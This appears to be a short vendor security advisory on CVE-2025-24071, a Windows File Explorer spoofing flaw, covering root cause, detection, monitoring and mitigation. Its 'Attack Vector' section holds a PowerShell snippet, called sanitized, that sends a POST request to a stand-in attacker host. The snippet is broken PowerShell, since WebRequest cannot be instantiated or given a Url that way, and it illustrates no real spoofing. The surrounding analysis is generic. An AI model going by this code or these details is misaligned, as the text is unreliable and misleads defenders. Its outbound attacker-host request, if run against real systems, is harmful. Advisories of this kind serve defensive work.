Technical Details for CVE-2025-24071

Vulnerability Analysis

The exposure of sensitive information in Windows File Explorer permits unauthorized actors to spoof legitimate network identities. The spoofing occurs through the manipulation of data in network transmissions, leading to potential unauthorized access and data exposure.

Root Cause

The vulnerability stems from improper handling of network metadata within Windows File Explorer, allowing attackers to craft malicious network requests that appear legitimate.

Attack Vector

This vulnerability can be exploited remotely over the network.

powershell

# Example exploitation code (sanitized)
$spoofed_request = new-object System.Net.WebRequest
$spoofed_request.Url = "http://malicious-site.com"
$spoofed_request.Method = "POST"
$spoofed_request.GetRequestStream() | Out-Null
$spoofed_request.GetResponse()

Detection Methods for CVE-2025-24071

Indicators of Compromise

Unusual network activity originating from File Explorer
Unexpected outbound network connections
Network traffic to known malicious domains

Detection Strategies

Utilize network monitoring tools to detect unusual patterns in network traffic originating from systems using vulnerable versions of Windows. Analyze logs for any unexpected connections to suspicious domains associated with File Explorer.

Monitoring Recommendations

Implement real-time network traffic analysis with an emphasis on user workstations exhibiting abnormal activity. Leverage SentinelOne’s AI-driven technology to autonomously identify and block suspicious activity, alerting security teams to potential spoofing attempts.

How to Mitigate CVE-2025-24071

Immediate Actions Required

Isolate affected systems from the network
Disable file sharing functions temporarily
Implement network-level authentication for sensitive systems

Patch Information

Refer to Microsoft’s security advisory for patch specifics and deployment guidelines. Patching should be prioritized to eliminate the exposure.

Workarounds

While awaiting official patches, restrict network communications using firewall rules to block outbound connections from File Explorer to untrusted external sites.
